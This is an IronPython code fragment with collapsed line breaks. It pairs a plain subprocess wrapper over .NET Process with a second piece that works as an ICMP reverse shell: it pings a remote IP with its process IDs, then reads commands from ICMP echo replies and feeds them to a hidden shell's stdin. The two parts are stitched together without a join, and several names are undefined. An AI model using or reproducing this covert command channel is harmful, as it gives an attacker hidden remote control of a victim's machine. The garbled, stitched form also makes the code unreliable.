class Popen(object): def __init__(self, args, executable, stdin=None, stdout=None, stderr=None): self.p = Process() i = self.p.StartInfo i.UseShellExecute = False i.RedirectStandardInput = True i.RedirectStandardOutput = True i.RedirectStandardError = True i.FileName = executable args.pop(0) i.Arguments = " ".join(args) def communicate(self, stdinData=None): self.p.Start() stdin = self.p.StandardInput stdout = self.p.StandardOutput stderr = self.p.StandardError if stdinData is not None: stdin.AutoFlush = True stdin.Write(stdinData) stdin.Flush() # ? problem when we have input data only! stdoutData = stdout.ReadToEnd() stderrData = stderr.ReadToEnd() if not self.p.HasExited: self.p.Kill() stdin.Close() stdout.Close() stderr.Close() self.p.Close() return stdoutData, stderrData
p.StartInfo.RedirectStandardOutput = True p.StartInfo.RedirectStandardInput = True p.StartInfo.RedirectStandardError = True p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.Start() pids = Encoding.ASCII.GetBytes("SPID: %s\nCPID: %s\n" % (Process.GetCurrentProcess().Id, p.Id)) pinger.Send(IP, 10, pids) p.StandardInput.WriteLine(" ") p.BeginOutputReadLine() p.BeginErrorReadLine() #Recieve loop while (not p.HasExited): try: # You can change the value of Send function to increase or decrease callbacks to recieve commands reply = pingee.Send(IP, 50000, Encoding.ASCII.GetBytes("OK")) inp = Encoding.ASCII.GetString(reply.Buffer) if inp: print inp p.StandardInput.WriteLine(inp) except IOException: break except WindowsError: p.Close() break except InvalidOperationException: pass